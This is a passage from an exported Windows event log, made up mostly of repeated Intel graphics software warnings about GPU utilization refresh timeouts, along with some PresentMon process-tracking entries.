stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:15.128\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:15.455\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:15.668\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:16.103\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:16.326\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:16.539\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:16.871\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:17.415\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:17.625\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:18.168\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:18.386\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:18.720\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:18.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:19.150\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:19.372\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:19.588\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:19.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:20.021\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:20.559\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:20.779\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:20.994\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:21.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:21.410\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:21.630\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:21.958\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:22.170\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:22.494\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:22.718\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:23.153\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:23.373\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:23.587\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:23.805\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:24.137\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:24.358\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:24.581\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:24.793\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:25.108\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:25.328\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:25.540\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:25.755\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:25.969\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:26.184\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:26.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:26.608\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:26.818\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:27.150\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:27.368\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:27.592\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:27.816\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:28.036\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:28.367\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:28.704\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:28.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:29.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:29.369\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:29.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:30.556\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:30.769\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:30.984\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:31.202\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:31.417\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:31.751\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:31.758\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:44.986\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:44.990\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:45.205\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:45.424\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:46.311\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:46.530\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:46.739\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:46.954\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:47.169\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:47.497\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:47.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:48.482\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:48.920\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:48.924\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:01.915\t211\tAdded process 6468 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:06:03.719\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:03.724\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:04.164\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:04.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:04.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:04.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:05.897\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:06.121\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:06.331\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:06.550\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:06.761\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:07.083\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:07.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:07.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:07.855\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:08.072\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:08.503\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:08.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:09.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:09.596\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:10.142\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:10.355\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:10.572\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:10.783\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:11.000\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:11.430\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:11.643\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:11.974\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:12.193\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:12.518\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:12.837\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:13.056\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:13.276\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:13.493\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:14.257\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 